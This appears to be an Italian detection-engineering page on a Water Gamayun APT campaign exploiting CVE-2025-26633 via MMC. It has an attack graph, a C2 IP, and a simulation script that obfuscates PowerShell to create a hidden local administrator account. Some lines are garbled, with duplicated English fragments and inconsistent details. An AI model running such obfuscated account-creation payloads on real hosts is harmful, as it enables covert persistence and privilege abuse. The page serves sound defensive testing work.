Caccia alle Minacce di Zscaler Espone e Ricostruisce la Campagna APT Water Gamayun
Detection stack
- AIDR
- Alert
- ETL
- Query
Sommario
Il rapporto copre un’intrusione su più livelli attribuita al gruppo APT Water Gamayun che sfrutta una vulnerabilità zero-day di MMC (CVE-2025-26633) per consegnare payload PowerShell in un archivio RAR a doppia estensione.
Indagine
Zscaler ha ricostruito la catena di attacco da un reindirizzamento di ricerca Bing a un sito compromesso, il download di un file .pdf.rar, lo sfruttamento di MSC EvilTwin, script PowerShell in fasi e l’esecuzione del backdoor ItunesC.exe.
Mitigazione
Le linee guida includono il monitoraggio degli archivi a doppia estensione, l’ispezione dei reindirizzamenti, il rilevamento di comandi PowerShell codificati e il blocco degli IP e domini malevoli.
Risposta
Al rilevamento, inviare un avviso su mmc.exe che avvia PowerShell con -EncodedCommand, mettere in quarantena il file, bloccare le connessioni in uscita verso 103.246.147.17 e attivare le procedure di risposta agli incidenti.
mermaid graph TB %% Class Definitions classDef action fill:#99ccff classDef tool fill:#ffcc99 classDef malware fill:#ff9999 classDef process fill:#ccccff classDef file fill:#ffff99 classDef c2 fill:#ffccff %% Node Definitions node_initial_access[“<b>Azione</b> – <b>T1659 Iniezione di Contenuto</b><br /><b>Descrizione</b>: Compromessa sito legittimo per iniettare reindirizzamenti malevoli”] class node_initial_access action node_malicious_domain[“<b>File</b> – <b>Nome</b>: Dominio malevolo simile<br /><b>Scopo</b>: Serve archivi a doppia estensione”] class node_malicious_domain file node_pdf_rar[“<b>File</b> – <b>Nome</b>: brochure.pdf.rar<br /><b>Tipo</b>: Archivio a doppia estensione camuffato da PDF”] class node_pdf_rar file node_user_execution[“<b>Azione</b> – <b>T1204.001 Link Malevolo</b><br /><b>Descrizione</b>: La vittima clicca sul link e scarica l’archivio”] class node_user_execution action node_exploit_client[“<b>Azione</b> – <b>T1203 Sfruttamento per Esecuzione Cliente</b><br /><b>Descrizione</b>: L’archivio rilascia un .msc che dirotta mmc.exe tramite MSC EvilTwin”] class node_exploit_client action node_cve[“<b>Strumento</b> – <b>Nome</b>: Exploit MSC EvilTwin (CVE‑2025‑26633)<br /><b>Bersaglio</b>: mmc.exe”] class node_cve tool node_mmc[“<b>Processo</b> – <b>Nome</b>: mmc.exe”] class node_mmc process node_powershell[“<b>Processo</b> – <b>Nome</b>: powershell.exe”] class node_powershell process node_ps_command[“<b>Azione</b> – <b>T1059.001 PowerShell</b><br /><b>Descrizione</b>: Payload codificato Base64 UTF‑16LE”] class node_ps_command action node_obfuscation[“<b>Azione</b> – <b>T1027 Offuscamento</b> e <b>T1140 Decodifica</b><br /><b>Descrizione</b>: Comando PowerShell doppio-codificato”] class node_obfuscation action node_unrar[“<b>Strumento</b> – <b>Nome</b>: UnRAR.exe”] class node_unrar tool node_rar_payload[“<b>File</b> – <b>Nome</b>: Payload RAR protetti da password”] class node_rar_payload file node_hidden_window[“<b>Azione</b> – <b>T1564.003 Finestra Nascosta</b><br /><b>Descrizione</b>: La classe .NET WinHpXN chiama ShowWindow per nascondere la console”] class node_hidden_window action node_itunesc[“<b>Malware</b> – <b>Nome</b>: ItunesC.exe<br /><b>Funzione</b>: Loader e backdoor”] class node_itunesc malware node_c2[“<b>C2</b> – <b>IP</b>: 103.246.147.17<br /><b>Protocollo</b>: HTTPS”] class node_c2 c2 %% Connections node_initial_access u002du002d>|redirects_to| node_malicious_domain node_malicious_domain u002du002d>|serves| node_pdf_rar node_pdf_rar u002du002d>|downloaded_by| node_user_execution node_user_execution u002du002d>|triggers| node_exploit_client node_exploit_client u002du002d>|drops| node_cve node_cve u002du002d>|hijacks| node_mmc node_mmc u002du002d>|loads| node_powershell node_powershell u002du002d>|executes| node_ps_command node_ps_command u002du002d>|uses| node_obfuscation node_ps_command u002du002d>|downloads| node_unrar node_unrar u002du002d>|extracts| node_rar_payload node_rar_payload u002du002d>|leads_to| node_hidden_window node_hidden_window u002du002d>|launches| node_itunesc node_itunesc u002du002d>|communicates_with| node_c2
Flusso di Attacco
Rilevamenti
Esecuzione Malevola di MMC e PowerShell da Water Gamayun APT [Creazione Processo Windows]
Visualizza
Rilevamento dei Modelli di Offuscamento PowerShell di Water Gamayun [Windows Powershell]
Visualizza
IOC (DestinationIP) da rilevare: Zscaler Threat Hunting scopre e ricostruisce un attacco sofisticato del gruppo APT Water Gamayun
Visualizza
IOC (SourceIP) da rilevare: Zscaler Threat Hunting scopre e ricostruisce un attacco sofisticato del gruppo APT Water Gamayun
Visualizza
IOC (HashMd5) da rilevare: Zscaler Threat Hunting scopre e ricostruisce un attacco sofisticato del gruppo APT Water Gamayun
Visualizza
Esecuzione di Simulazione
Prerequisito: Il Controllo Pre-volo di Telemetria & Baseline deve essere riuscito.
Razionale: Questa sezione dettaglia l’esecuzione precisa della tecnica dell’avversario (TTP) progettata per attivare la regola di rilevamento. I comandi e il racconto DEVONO riflettere direttamente i TTP identificati e mirano a generare la telemetria esatta prevista dalla logica di rilevamento. Esempi astratti o non correlati porteranno a diagnosi errate.
-
Narrativa e Comandi di Attacco:
L’attaccante, sfruttando la metodologia di Water Gamayun, prepara un payload PowerShell malevolo che scrive un nuovo utente amministratore locale e lo aggiunge al gruppo Amministratori. Per nascondere il payload, l’attaccante:- Scrive lo script PowerShell in testo chiaro.
- Lo codifica in Base64 UTF‑16LE.
- Inserisce un trattino basso (
_) dopo ogni 4 caratteri per aumentare l’entropia. - Concatena un’operazione
|Replace('_','')in modo che il PowerShell in fase di runtime rimuova i trattini bassi prima della decodifica, corrispondendo alla firma di rilevamento.runtime PowerShell removes the underscores before decoding, matching the detection signature.
Il comando di esecuzione finale è:
powershell.exe -EncodedCommand <Base64StringWithUnderscores> | Replace('_','')Questa esatta riga di comando soddisfa le due condizioni della regola Sigma (-EncodedCommand), generando voci Sysmon EventID 1 e Security EventID 4688 che la regola segnalerà.
-EncodedCommandand|Replace('_','')), generating Sysmon EventID 1 and Security EventID 4688 entries that the rule will flag. -
Script di Test di Regressione:
Lo script qui sotto automatizza la creazione del payload offuscato e lo esegue. Può essere eseguito su qualsiasi host Windows con PowerShell 5.1+.# Simulazione di offuscamento PowerShell in stile Water Gamayun # Passo 1: Definisci il payload PowerShell malevolo (aggiunge un utente admin locale) $payload = @' $user = "tempAdmin" $pwd = ConvertTo-SecureString "P@ssw0rd!" -AsPlainText -Force New-LocalUser -Name $user -Password $pwd -FullName "Temp Admin" -Description "Test admin account" Add-LocalGroupMember -Group "Administrators" -Member $user '@ # Passo 2: Codifica in UTF-16LE e poi in Base64 $bytes = [System.Text.Encoding]::Unicode.GetBytes($payload) $b64 = [Convert]::ToBase64String($bytes) # Passo 3: Inietta trattini bassi ogni 8 caratteri (simulando il pattern del gruppo) $b64Underscored = ($b64 -split '(.{8})' | Where-Object {$_} | ForEach-Object { $_ + '_' }) -join '' # Passo 4: Esegui con il necessario Replace('_','') pipeline powershell.exe -EncodedCommand $b64Underscored | Replace('_','') -
Comandi di Pulizia:
I seguenti comandi rimuovono l’utente di test e ripristinano l’ambiente.# Pulizia: Rimuovere l'account admin temporaneo creato dal test $user = "tempAdmin" if (Get-LocalUser -Name $user -ErrorAction SilentlyContinue) { Remove-LocalUser -Name $user Write-Host "Deleted test user $user." } else { Write-Host "Test user $user does not exist." }